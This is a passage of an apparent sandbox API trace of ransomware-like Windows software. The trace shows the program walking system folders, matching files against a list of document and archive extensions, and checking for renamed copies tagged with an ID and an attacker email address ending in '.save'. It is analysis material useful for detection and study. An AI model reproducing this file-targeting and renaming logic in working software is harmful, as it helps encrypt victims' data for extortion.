(hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.278] Wow64DisableWow64FsRedirection (in: OldValue=0x282ff7c | out: OldValue=0x282ff7c*=0x0) returned 1 [0205.278] lstrlenW (lpString="kernel32.dll") returned 12 [0205.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fecb0 | out: hHeap=0x5c0000) returned 1 [0205.278] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x606420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0205.279] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0205.602] GetTickCount () returned 0x1e087 [0205.602] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0205.892] GetTickCount () returned 0x1e1b0 [0205.892] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0206.097] GetTickCount () returned 0x1e27b [0206.097] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0206.416] GetTickCount () returned 0x1e3b4 [0206.416] GetTickCount () returned 0x1e3b4 [0206.416] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0206.711] GetTickCount () returned 0x1e4dd [0206.711] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0207.095] GetTickCount () returned 0x1e663 [0207.095] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0207.655] GetTickCount () returned 0x1e886 [0207.655] GetTickCount () returned 0x1e886 [0207.655] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0208.247] GetTickCount () returned 0x1ead8 [0208.247] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0208.688] GetTickCount () returned 0x1ec9d [0208.688] GetTickCount () returned 0x1ec9d [0208.689] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0209.317] GetTickCount () returned 0x1ef0e [0209.317] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0209.852] GetTickCount () returned 0x1f121 [0209.852] GetTickCount () returned 0x1f121 [0209.852] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0210.362] GetTickCount () returned 0x1f325 [0210.362] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0210.903] GetTickCount () returned 0x1f548 [0210.911] GetTickCount () returned 0x1f548 [0210.911] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0211.958] GetTickCount () returned 0x1f95f [0211.958] GetTickCount () returned 0x1f95f [0211.958] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) Thread: id = 92 os_tid = 0xd5c [0205.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x629460 [0205.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x66ffe8 [0205.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x616ee8 [0205.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x65e4c8 [0205.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6172c0 [0205.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x32b2020 [0205.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617200 [0205.430] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617200, Size=0x20) returned 0x5fe9e0 [0205.431] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617200 [0205.431] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617200, Size=0x20) returned 0x5fed28 [0205.431] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0205.431] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.431] Wow64DisableWow64FsRedirection (in: OldValue=0x2d2ff50 | out: OldValue=0x2d2ff50*=0x0) returned 1 [0205.431] lstrlenW (lpString="kernel32.dll") returned 12 [0205.431] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.431] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.431] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fed28 | out: hHeap=0x5c0000) returned 1 [0205.431] Sleep (dwMilliseconds=0x64) [0205.789] lstrcmpiW (lpString1=".ini", lpString2=".save") returned -1 [0205.789] lstrlenW (lpString="desktop.ini") returned 11 [0205.789] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0205.790] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=129) returned 1 [0205.790] CloseHandle (hObject=0x30c) returned 1 [0205.790] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0205.790] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[seavays@aol.com].save")) returned 0x26 [0205.790] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.791] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.791] lstrlenW (lpString=".doc") returned 4 [0205.791] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0205.791] lstrlenW (lpString=".docx") returned 5 [0205.791] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0205.791] lstrlenW (lpString=".pdf") returned 4 [0205.791] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0205.791] lstrlenW (lpString=".xls") returned 4 [0205.791] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0205.791] lstrlenW (lpString=".xlsx") returned 5 [0205.791] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0205.791] lstrlenW (lpString=".ppt") returned 4 [0205.791] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0205.791] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.791] lstrlenW (lpString=".zip") returned 4 [0205.791] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0205.791] lstrlenW (lpString=".rar") returned 4 [0205.791] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0205.791] lstrlenW (lpString=".bz2") returned 4 [0205.791] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0205.791] lstrlenW (lpString=".7z") returned 3 [0205.791] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0205.791] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.791] lstrlenW (lpString=".dbf") returned 4 [0205.791] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0205.791] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.791] lstrlenW (lpString=".1cd") returned 4 [0205.792] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0205.792] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.792] lstrlenW (lpString=".jpg") returned 4 [0205.792] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0205.792] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.792] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.792] lstrlenW (lpString=".doc") returned 4 [0205.792] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0205.792] lstrlenW (lpString=".docx") returned 5 [0205.792] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0205.792] lstrlenW (lpString=".pdf") returned 4 [0205.792] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0205.792] lstrlenW (lpString=".xls") returned 4 [0205.792] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0205.792] lstrlenW (lpString=".xlsx") returned 5 [0205.792] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0205.792] lstrlenW (lpString=".ppt") returned 4 [0205.792] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0205.792] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.792] lstrlenW (lpString=".zip") returned 4 [0205.792] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0205.792] lstrlenW (lpString=".rar") returned 4 [0205.792] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0205.792] lstrlenW (lpString=".bz2") returned 4 [0205.792] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0205.793] lstrlenW (lpString=".7z") returned 3 [0205.793] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0205.793] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.793] lstrlenW (lpString=".dbf") returned 4 [0205.793] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0205.793] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.793] lstrlenW (lpString=".1cd") returned 4 [0205.793] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0205.793] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0205.793] lstrlenW (lpString=".jpg") returned 4 [0205.793] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0205.793] Sleep (dwMilliseconds=0x64) [0206.034] Sleep (dwMilliseconds=0x64) [0206.350] lstrcmpiW (lpString1=".LOG", lpString2=".save") returned -1 [0206.350] lstrlenW (lpString="BCD.LOG") returned 7 [0206.350] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.351] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.351] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.351] lstrlenW (lpString=".doc") returned 4 [0206.351] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0206.351] lstrlenW (lpString=".docx") returned 5 [0206.351] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0206.351] lstrlenW (lpString=".pdf") returned 4 [0206.351] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0206.351] lstrlenW (lpString=".xls") returned 4 [0206.351] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0206.351] lstrlenW (lpString=".xlsx") returned 5 [0206.351] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0206.351] lstrlenW (lpString=".ppt") returned 4 [0206.351] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0206.351] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.351] lstrlenW (lpString=".zip") returned 4 [0206.352] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0206.352] lstrlenW (lpString=".rar") returned 4 [0206.352] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0206.352] lstrlenW (lpString=".bz2") returned 4 [0206.352] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0206.352] lstrlenW (lpString=".7z") returned 3 [0206.352] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0206.352] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.352] lstrlenW (lpString=".dbf") returned 4 [0206.352] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0206.352] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.352] lstrlenW (lpString=".1cd") returned 4 [0206.352] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0206.352] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.352] lstrlenW (lpString=".jpg") returned 4 [0206.352] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0206.352] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.352] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.352] lstrlenW (lpString=".doc") returned 4 [0206.352] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0206.352] lstrlenW (lpString=".docx") returned 5 [0206.352] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0206.352] lstrlenW (lpString=".pdf") returned 4 [0206.352] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0206.353] lstrlenW (lpString=".xls") returned 4 [0206.353] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0206.353] lstrlenW (lpString=".xlsx") returned 5 [0206.353] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0206.353] lstrlenW (lpString=".ppt") returned 4 [0206.353] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0206.353] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.353] lstrlenW (lpString=".zip") returned 4 [0206.353] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0206.353] lstrlenW (lpString=".rar") returned 4 [0206.353] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0206.353] lstrlenW (lpString=".bz2") returned 4 [0206.353] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0206.353] lstrlenW (lpString=".7z") returned 3 [0206.353] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0206.353] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.353] lstrlenW (lpString=".dbf") returned 4 [0206.353] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0206.353] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.353] lstrlenW (lpString=".1cd") returned 4 [0206.353] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0206.353] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0206.353] lstrlenW (lpString=".jpg") returned 4 [0206.353] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0206.354] lstrcmpiW (lpString1=".p7b", lpString2=".save") returned -1 [0206.354] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0206.354] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0206.355] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4662) returned 1 [0206.355] CloseHandle (hObject=0x340) returned 1 [0206.355] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0206.355] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.355] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.355] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.355] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.355] lstrlenW (lpString=".doc") returned 4 [0206.355] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0206.355] lstrlenW (lpString=".docx") returned 5 [0206.355] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0206.355] lstrlenW (lpString=".pdf") returned 4 [0206.355] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0206.356] lstrlenW (lpString=".xls") returned 4 [0206.356] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0206.356] lstrlenW (lpString=".xlsx") returned 5 [0206.356] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0206.356] lstrlenW (lpString=".ppt") returned 4 [0206.356] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0206.356] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.356] lstrlenW (lpString=".zip") returned 4 [0206.356] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0206.356] lstrlenW (lpString=".rar") returned 4 [0206.356] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0206.356] lstrlenW (lpString=".bz2") returned 4 [0206.356] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0206.356] lstrlenW (lpString=".7z") returned 3 [0206.356] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0206.356] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.356] lstrlenW (lpString=".dbf") returned 4 [0206.356] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0206.356] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.356] lstrlenW (lpString=".1cd") returned 4 [0206.356] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0206.356] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.356] lstrlenW (lpString=".jpg") returned 4 [0206.356] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0206.356] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.357] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.357] lstrlenW (lpString=".doc") returned 4 [0206.357] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0206.357] lstrlenW (lpString=".docx") returned 5 [0206.357] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0206.357] lstrlenW (lpString=".pdf") returned 4 [0206.357] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0206.357] lstrlenW (lpString=".xls") returned 4 [0206.357] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0206.357] lstrlenW (lpString=".xlsx") returned 5 [0206.357] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0206.357] lstrlenW (lpString=".ppt") returned 4 [0206.357] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0206.357] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.357] lstrlenW (lpString=".zip") returned 4 [0206.357] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0206.357] lstrlenW (lpString=".rar") returned 4 [0206.357] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0206.357] lstrlenW (lpString=".bz2") returned 4 [0206.357] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0206.357] lstrlenW (lpString=".7z") returned 3 [0206.357] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0206.357] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.357] lstrlenW (lpString=".dbf") returned 4 [0206.357] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0206.358] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.358] lstrlenW (lpString=".1cd") returned 4 [0206.358] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0206.358] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0206.358] lstrlenW (lpString=".jpg") returned 4 [0206.358] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0206.358] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0206.358] lstrlenW (lpString="Alphabet.xml") returned 12 [0206.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0206.359] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=791421) returned 1 [0206.359] CloseHandle (hObject=0x340) returned 1 [0206.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0206.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.360] lstrlenW (lpString=".doc") returned 4 [0206.360] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.360] lstrlenW (lpString=".docx") returned 5 [0206.360] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0206.360] lstrlenW (lpString=".pdf") returned 4 [0206.360] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.360] lstrlenW (lpString=".xls") returned 4 [0206.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.360] lstrlenW (lpString=".xlsx") returned 5 [0206.360] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0206.360] lstrlenW (lpString=".ppt") returned 4 [0206.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.361] lstrlenW (lpString=".zip") returned 4 [0206.361] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.361] lstrlenW (lpString=".rar") returned 4 [0206.361] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString=".bz2") returned 4 [0206.361] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString=".7z") returned 3 [0206.361] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.361] lstrlenW (lpString=".dbf") returned 4 [0206.361] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.361] lstrlenW (lpString=".1cd") returned 4 [0206.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.361] lstrlenW (lpString=".jpg") returned 4 [0206.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.361] lstrlenW (lpString=".doc") returned 4 [0206.361] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString=".docx") returned 5 [0206.361] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0206.361] lstrlenW (lpString=".pdf") returned 4 [0206.361] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString=".xls") returned 4 [0206.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString=".xlsx") returned 5 [0206.362] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0206.362] lstrlenW (lpString=".ppt") returned 4 [0206.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.362] lstrlenW (lpString=".zip") returned 4 [0206.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.362] lstrlenW (lpString=".rar") returned 4 [0206.362] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString=".bz2") returned 4 [0206.362] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString=".7z") returned 3 [0206.362] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.362] lstrlenW (lpString=".dbf") returned 4 [0206.362] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.362] lstrlenW (lpString=".1cd") returned 4 [0206.362] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0206.362] lstrlenW (lpString=".jpg") returned 4 [0206.362] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.363] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0206.363] lstrlenW (lpString="Content.xml") returned 11 [0206.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0206.364] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=27045) returned 1 [0206.364] CloseHandle (hObject=0x340) returned 1 [0206.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0206.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[seavays@aol.com].save")) returned 